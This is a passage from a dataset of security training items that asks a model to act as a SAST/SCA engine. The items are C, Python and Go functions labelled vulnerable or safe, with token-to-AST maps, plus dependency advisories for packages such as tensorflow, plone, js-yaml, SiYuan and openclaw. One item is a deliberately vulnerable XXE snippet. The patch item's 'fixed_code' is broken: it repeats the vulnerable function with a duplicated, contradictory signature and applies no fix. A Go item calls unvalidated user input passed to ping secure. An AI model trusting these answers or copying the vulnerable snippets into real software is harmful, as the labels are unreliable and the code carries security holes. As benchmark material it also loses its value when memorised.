{\n \"token\": \"mode\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 19\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 5,\n \"col\": 23\n },\n {\n \"token\": \"size_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 6,\n \"col\": 8\n },\n {\n \"token\": \"clearbytes\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 9\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 6,\n \"col\": 19\n },\n {\n \"token\": \"size_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 8,\n \"col\": 9\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 8,\n \"col\": 16\n },\n {\n \"token\": \"encryptedbytes\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 17\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 31\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 8,\n \"col\": 33\n },\n {\n \"token\": \"size_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 10,\n \"col\": 4\n },\n {\n \"token\": \"cryptosize\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 11\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 10,\n \"col\": 22\n },\n {\n \"token\": \"sizeof\",\n \"ast_node\": \"sizeof\",\n \"line\": 10,\n \"col\": 24\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 10,\n \"col\": 30\n },\n {\n \"token\": \"AMediaCodecCryptoInfo\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 31\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 10,\n \"col\": 52\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 10,\n \"col\": 54\n },\n {\n \"token\": \"sizeof\",\n \"ast_node\": \"sizeof\",\n \"line\": 10,\n \"col\": 56\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 10,\n \"col\": 62\n },\n {\n \"token\": \"size_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 10,\n \"col\": 63\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 10,\n \"col\": 69\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 10,\n \"col\": 71\n },\n {\n \"token\": \"numsubsamples\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 73\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 10,\n \"col\": 87\n },\n {\n \"token\": \"2\",\n \"ast_node\": \"number_literal\",\n \"line\": 10,\n \"col\": 89\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 90\n },\n {\n \"token\": \"AMediaCodecCryptoInfo\",\n \"ast_node\": \"type_identifier\",\n \"line\": 11,\n \"col\": 5\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 11,\n \"col\": 27\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 28\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 11,\n \"col\": 32\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 34\n },\n {\n \"token\": \"AMediaCodecCryptoInfo\",\n \"ast_node\": \"type_identifier\",\n \"line\": 11,\n \"col\": 35\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 11,\n \"col\": 56\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 11,\n \"col\": 57\n },\n {\n \"token\": \"malloc\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 59\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 65\n },\n {\n \"token\": \"cryptosize\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 66\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 11,\n \"col\": 76\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: tensorflow\nInstalled version: 1.15.2\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"PyPI\",\n \"package\": \"tensorflow\",\n \"installed_version\": \"1.15.2\",\n \"note\": \"tensorflow 1.15.2 is at or above the fixed version for GHSA-977j-xj7q-2jr9; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int pwc_video_open(struct inode *inode, struct file *file)\n{\n\tint i, ret;\n\tstruct video_device *vdev = video_devdata(file);\n\tstruct pwc_device *pdev;\n\n\tPWC_DEBUG_OPEN(\">> video_open called(vdev = 0x%p).\\n\", vdev);\n\n\tpdev = (struct pwc_device *)vdev->priv;\n\tBUG_ON(!pdev);\n\tif (pdev->vopen) {\n\t\tPWC_DEBUG_OPEN(\"I'm busy, someone is using the device.\\n\");\n\t\treturn -EBUSY;\n\t}\n\n\tmutex_lock(&pdev->modlock);\n\tif (!pdev->usb_init) {\n\t\tPWC_DEBUG_OPEN(\"Doing first time initialization.\\n\");\n\t\tpdev->usb_init = 1;\n\n\t\t/* Query sensor type */\n\t\tret = pwc_get_cmos_sensor(pdev, &i);\n\t\tif (ret >= 0)\n\t\t{\n\t\t\tPWC_DEBUG_OPEN(\"This %s camera is equipped with a %s (%d).\\n\",\n\t\t\t\t\tpdev->vdev->name,\n\t\t\t\t\tpwc_sensor_type_to_string(i), i);\n\t\t}\n\t}\n\n\t/* Turn on camera */\n\tif (power_save) {\n\t\ti = pwc_camera_power(pdev, 1);\n\t\tif (i < 0)\n\t\t\tPWC_DEBUG_OPEN(\"Failed to restore power to the camera! (%d)\\n\", i);\n\t}\n\t/* Set LED on/off time */\n\tif (pwc_set_leds(pdev, led_on, led_off) < 0)\n\t\tPWC_DEBUG_OPEN(\"Failed to set LED on/off time.\\n\");\n\n\tpwc_construct(pdev); /* set min/max sizes correct */\n\n\t/* So far, so good. Allocate memory. */\n\ti = pwc_allocate_buffers(pdev);\n\tif (i < 0) {\n\t\tPWC_DEBUG_OPEN(\"Failed to allocate buffers memory.\\n\");\n\t\tpwc_free_buffers(pdev);\n\t\tmutex_unlock(&pdev->modlock);\n\t\treturn i;\n\t}\n\n\t/* Reset buffers & parameters */\n\tpwc_reset_buffers(pdev);\n\tfor (i = 0; i < pwc_mbufs; i++)\n\t\tpdev->image_used[i] = 0;\n\tpdev->vframe_count = 0;\n\tpdev->vframes_dumped = 0;\n\tpdev->vframes_error = 0;\n\tpdev->visoc_errors = 0;\n\tpdev->error_status = 0;\n\tpwc_construct(pdev); /* set min/max sizes correct */\n\n\t/* Set some defaults */\n\tpdev->vsnapshot = 0;\n\n\t/* Start iso pipe for video; first try the last used video size\n\t (or the default one); if that fails try QCIF/10 or QSIF/10;\n\t it that fails too, give up.\n\t */\n\ti = pwc_set_video_mode(pdev, pwc_image_sizes[pdev->vsize].x, pwc_image_sizes[pdev->vsize].y, pdev->vframes, pdev->vcompression, 0);\n\tif (i)\t{\n\t\tunsigned int default_resolution;\n\t\tPWC_DEBUG_OPEN(\"First attempt at set_video_mode failed.\\n\");\n\t\tif (pdev->type>= 730)\n\t\t\tdefault_resolution = PSZ_QSIF;\n\t\telse\n\t\t\tdefault_resolution = PSZ_QCIF;\n\n\t\ti = pwc_set_video_mode(pdev,\n\t\t\t\t pwc_image_sizes[default_resolution].x,\n\t\t\t\t pwc_image_sizes[default_resolution].y,\n\t\t\t\t 10,\n\t\t\t\t pdev->vcompression,\n\t\t\t\t 0);\n\t}\n\tif (i) {\n\t\tPWC_DEBUG_OPEN(\"Second attempt at set_video_mode failed.\\n\");\n\t\tpwc_free_buffers(pdev);\n\t\tmutex_unlock(&pdev->modlock);\n\t\treturn i;\n\t}\n\n\ti = pwc_isoc_init(pdev);\n\tif (i) {\n\t\tPWC_DEBUG_OPEN(\"Failed to init ISOC stuff = %d.\\n\", i);\n\t\tpwc_isoc_cleanup(pdev);\n\t\tpwc_free_buffers(pdev);\n\t\tmutex_unlock(&pdev->modlock);\n\t\treturn i;\n\t}\n\n\t/* Initialize the webcam to sane value */\n\tpwc_set_brightness(pdev, 0x7fff);\n\tpwc_set_agc(pdev, 1, 0);\n\n\tpdev->vopen++;\n\tfile->private_data = vdev;\n\tmutex_unlock(&pdev->modlock);\n\tPWC_DEBUG_OPEN(\"<< video_open() returns 0.\\n\");\n\treturn 0;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "python", "cwe": "CWE-611", "source": "curated SAST pattern + tree-sitter AST", "instruction": "You are a static application security testing (SAST) engine. Parse the python source into its AST, map each token to its AST node, identify the vulnerable sink, and report the vulnerability as JSON.", "input": "from lxml import etree\ndef parse():\n payload = sys.argv[1]\n return etree.fromstring(payload)\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-611\",\n \"cwe_name\": \"XML External Entity (XXE)\",\n \"title\": \"XXE via unsafe lxml parsing\",\n \"severity\": \"high\",\n \"vulnerable_lines\": [\n 4\n ],\n \"sink_node_type\": \"call\",\n \"ast_path\": [\n \"module\",\n \"function_definition\",\n \"block\",\n \"return_statement\",\n \"call\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"etree\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 11\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 16\n },\n {\n \"token\": \"fromstring\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 17\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 27\n },\n {\n \"token\": \"payload\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 28\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 35\n }\n ],\n \"explanation\": \"Default lxml parsing resolves external entities, enabling XXE.\",\n \"remediation\": \"Disable external entity and DTD processing in the XML parser.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "COMPS_HSList* comps_objmrtree_keys(COMPS_ObjMRTree * rt) {\n return __comps_objmrtree_all(rt, 0);\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"libcomps\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/siyuan-note/siyuan/kernel\nInstalled version: <0.0.0-20260723035036-0a176345e02a\nSummary: SiYuan: Second-order SSTI to arbitrary SQL via attribute-view template column (queryBlocks): malicious imported package executes SQL on victim kernel in github.com/siyuan-note/siyuan/kernel", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GO-2026-6410\",\n \"cve\": \"CVE-2026-72807\",\n \"aliases\": [\n \"CVE-2026-72807\",\n \"GHSA-x67c-8pwr-m8g3\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/siyuan-note/siyuan/kernel\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <0.0.0-20260723035036-0a176345e02a\",\n \"fixed_version\": \"0.0.0-20260723035036-0a176345e02a\",\n \"finding\": \"SiYuan: Second-order SSTI to arbitrary SQL via attribute-view template column (queryBlocks): malicious imported package executes SQL on victim kernel in github.com/siyuan-note/siyuan/kernel\",\n \"remediation\": \"Upgrade github.com/siyuan-note/siyuan/kernel to 0.0.0-20260723035036-0a176345e02a or later.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: js-yaml\nInstalled version: 3.13.1\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"npm\",\n \"package\": \"js-yaml\",\n \"installed_version\": \"3.13.1\",\n \"note\": \"js-yaml 3.13.1 is at or above the fixed version for GHSA-8j8c-7jfh-h6hx; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": "CWE-79", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: plone\nInstalled version: 2.1\nSummary: Plone vulnerable to cross-site scripting", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-89rq-27xp-vgv7\",\n \"cve\": \"CVE-2013-4190\",\n \"aliases\": [\n \"CVE-2013-4190\",\n \"PYSEC-2014-54\"\n ],\n \"cwe\": \"CWE-79\",\n \"ecosystem\": \"PyPI\",\n \"package\": \"plone\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=2.1, <4.1.1\",\n \"fixed_version\": \"4.1.1\",\n \"finding\": \"Plone vulnerable to cross-site scripting\",\n \"remediation\": \"Upgrade plone to 4.1.1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": " static void tokenadd(struct jv_parser* p, char c) {\n assert(p->tokenpos <= p->tokenlen);\n if (p->tokenpos == p->tokenlen) {\n p->tokenlen = p->tokenlen*2 + 256;\n p->tokenbuf = jv_mem_realloc(p->tokenbuf, p->tokenlen);\n }\n assert(p->tokenpos < p->tokenlen);\n p->tokenbuf[p->tokenpos++] = c;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2015-8863\",\n \"project\": \"jq\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 8\n },\n {\n \"token\": \"tokenadd\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 13\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 21\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 22\n },\n {\n \"token\": \"jv_parser\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 29\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 38\n },\n {\n \"token\": \"p\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 40\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 41\n },\n {\n \"token\": \"char\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 43\n },\n {\n \"token\": \"c\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 48\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 49\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 1,\n \"col\": 51\n },\n {\n \"token\": \"assert\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 2,\n \"col\": 9\n },\n {\n \"token\": \"p\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 10\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 2,\n \"col\": 11\n },\n {\n \"token\": \"tokenpos\",\n \"ast_node\": \"field_identifier\",\n \"line\": 2,\n \"col\": 13\n },\n {\n \"token\": \"<=\",\n \"ast_node\": \"<=\",\n \"line\": 2,\n \"col\": 22\n },\n {\n \"token\": \"p\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 25\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 2,\n \"col\": 26\n },\n {\n \"token\": \"tokenlen\",\n \"ast_node\": \"field_identifier\",\n \"line\": 2,\n \"col\": 28\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 36\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 2,\n \"col\": 37\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 3,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 5\n },\n {\n \"token\": \"p\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 6\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 3,\n \"col\": 7\n },\n {\n \"token\": \"tokenpos\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 9\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 3,\n \"col\": 18\n },\n {\n \"token\": \"p\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 21\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 3,\n \"col\": 22\n },\n {\n \"token\": \"tokenlen\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 24\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 32\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 3,\n \"col\": 34\n },\n {\n \"token\": \"p\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 5\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 4,\n \"col\": 6\n },\n {\n \"token\": \"tokenlen\",\n \"ast_node\": \"field_identifier\",\n \"line\": 4,\n \"col\": 8\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 4,\n \"col\": 17\n },\n {\n \"token\": \"p\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 19\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \"tokenlen\",\n \"ast_node\": \"field_identifier\",\n \"line\": 4,\n \"col\": 22\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 30\n },\n {\n \"token\": \"2\",\n \"ast_node\": \"number_literal\",\n \"line\": 4,\n \"col\": 31\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 4,\n \"col\": 33\n },\n {\n \"token\": \"256\",\n \"ast_node\": \"number_literal\",\n \"line\": 4,\n \"col\": 35\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 38\n },\n {\n \"token\": \"p\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 5\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 5,\n \"col\": 6\n },\n {\n \"token\": \"tokenbuf\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 8\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 5,\n \"col\": 17\n },\n {\n \"token\": \"jv_mem_realloc\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 19\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 33\n },\n {\n \"token\": \"p\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 34\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 5,\n \"col\": 35\n },\n {\n \"token\": \"tokenbuf\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 37\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 5,\n \"col\": 45\n },\n {\n \"token\": \"p\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 47\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 5,\n \"col\": 48\n },\n {\n \"token\": \"tokenlen\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 50\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-200", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: openclaw\nInstalled version: <2026.2.21\nSummary: OpenClaw Vulnerable to Local File Exfiltration via MCP Tool Result MEDIA: Directive Injection", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-jjgj-cpp9-cvpv\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": \"CWE-200\",\n \"ecosystem\": \"npm\",\n \"package\": \"openclaw\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <2026.2.21\",\n \"fixed_version\": \"2026.2.21\",\n \"finding\": \"OpenClaw Vulnerable to Local File Exfiltration via MCP Tool Result MEDIA: Directive Injection\",\n \"remediation\": \"Upgrade openclaw to 2026.2.21 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-399", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": " bool StopInputMethodProcess() {\n if (!IBusConnectionsAreAlive()) {\n LOG(ERROR) << \"StopInputMethodProcess: IBus connection is not alive\";\n return false;\n }\n\n ibus_bus_exit_async(ibus_,\n FALSE /* do not restart */,\n -1 /* timeout */,\n NULL /* cancellable */,\n NULL /* callback */,\n NULL /* user_data */);\n\n if (ibus_config_) {\n g_object_unref(ibus_config_);\n ibus_config_ = NULL;\n }\n return true;\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-399\",\n \"cwe_name\": \"Resource Management Errors\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2011-2804\",\n \"project\": \"Chrome\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "go", "cwe": null, "source": "curated secure pattern + tree-sitter AST", "instruction": "Perform AST-based static analysis on the following go code and output a structured finding.", "input": "func ping(w http.ResponseWriter, r *http.Request) {\n\targ := r.FormValue(\"name\")\n\tout, _ := exec.Command(\"ping\", \"-c\", \"1\", arg).Output()\n\tw.Write(out)\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"note\": \"Secure pattern: exec.Command with separate args (no shell). No injection/traversal sink reachable from untrusted input.\",\n \"ast_top_level\": [\n \"source_file\",\n \"function_declaration\"\n ]\n}"} {"task": "vuln_patch", "language": "cpp", "cwe": "CWE-20", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C++ function. Return the fixed code and a short rationale as JSON.", "input": "WebContext* WebContext::FromBrowserContext(oxide::BrowserContext* context) {\n BrowserContextDelegate* delegate =\n static_cast(context->GetDelegate());\n if (!delegate) {\n return nullptr;\n }\n\n return delegate->context();\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"cve\": \"CVE-2016-1586\",\n \"fixed_code\": \"WebContext* WebContext::FromBrowserContext(oxide::BrowserContext* context) {\\nWebContext* WebContext::FromBrowserContext(BrowserContext* context) {\\n BrowserContextDelegate* delegate =\\n static_cast(context->GetDelegate());\\n if (!delegate) {\\n return nullptr;\\n }\\n\\n return delegate->context();\\n }\\n\",\n \"change_summary\": \"Security fix applied to the vulnerable function.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: openclaw\nInstalled version: 2026.3.7\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"npm\",\n \"package\": \"openclaw\",\n \"installed_version\": \"2026.3.7\",\n \"note\": \"openclaw 2026.3.7 is at or above the fixed version for GHSA-j425-whc4-4jgc; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static bool regsafe(struct bpf_reg_state *rold, struct bpf_reg_state *rcur,\n\t\t struct idpair *idmap)\n{\n\tif (!(rold->live & REG_LIVE_READ))\n\t\t/* explored state didn't use this */\n\t\treturn true;\n\n\tif (memcmp(rold, rcur, offsetof(struct bpf_reg_state, live)) == 0)\n\t\treturn true;\n\n\tif (rold->type == NOT_INIT)\n\t\t/* explored state can't have used this */\n\t\treturn true;\n\tif (rcur->type == NOT_INIT)\n\t\treturn false;\n\tswitch (rold->type) {\n\tcase SCALAR_VALUE:\n\t\tif (rcur->type == SCALAR_VALUE) {\n\t\t\t/* new val must satisfy old val knowledge */\n \t\t\treturn range_within(rold, rcur) &&\n \t\t\t tnum_in(rold->var_off, rcur->var_off);\n \t\t} else {\n\t\t\t/* if we knew anything about the old value, we're not\n\t\t\t * equal, because we can't know anything about the\n\t\t\t * scalar value of the pointer in the new value.\n \t\t\t */\n\t\t\treturn rold->umin_value == 0 &&\n\t\t\t rold->umax_value == U64_MAX &&\n\t\t\t rold->smin_value == S64_MIN &&\n\t\t\t rold->smax_value == S64_MAX &&\n\t\t\t tnum_is_unknown(rold->var_off);\n \t\t}\n \tcase PTR_TO_MAP_VALUE:\n \t\t/* If the new min/max/var_off satisfy the old ones and\n\t\t * everything else matches, we are OK.\n\t\t * We don't care about the 'id' value, because nothing\n\t\t * uses it for PTR_TO_MAP_VALUE (only for ..._OR_NULL)\n\t\t */\n\t\treturn memcmp(rold, rcur, offsetof(struct bpf_reg_state, id)) == 0 &&\n\t\t range_within(rold, rcur) &&\n\t\t tnum_in(rold->var_off, rcur->var_off);\n\tcase PTR_TO_MAP_VALUE_OR_NULL:\n\t\t/* a PTR_TO_MAP_VALUE could be safe to use as a\n\t\t * PTR_TO_MAP_VALUE_OR_NULL into the same map.\n\t\t * However, if the old PTR_TO_MAP_VALUE_OR_NULL then got NULL-\n\t\t * checked, doing so could have affected others with the same\n\t\t * id, and we can't check for that because we lost the id when\n\t\t * we converted to a PTR_TO_MAP_VALUE.\n\t\t */\n\t\tif (rcur->type != PTR_TO_MAP_VALUE_OR_NULL)\n\t\t\treturn false;\n\t\tif (memcmp(rold, rcur, offsetof(struct bpf_reg_state, id)))\n\t\t\treturn false;\n\t\t/* Check our ids match any regs they're supposed to */\n\t\treturn check_ids(rold->id, rcur->id, idmap);\n\tcase PTR_TO_PACKET_META:\n\tcase PTR_TO_PACKET:\n\t\tif (rcur->type != rold->type)\n\t\t\treturn false;\n\t\t/* We must have at least as much range as the old ptr\n\t\t * did, so that any accesses which were safe before are\n\t\t * still safe. This is true even if old range < old off,\n\t\t * since someone could have accessed through (ptr - k), or\n\t\t * even done ptr -= k in a register, to get a safe access.\n\t\t */\n\t\tif (rold->range > rcur->range)\n\t\t\treturn false;\n\t\t/* If the offsets don't match, we can't trust our alignment;\n\t\t * nor can we be sure that we won't fall out of range.\n\t\t */\n\t\tif (rold->off != 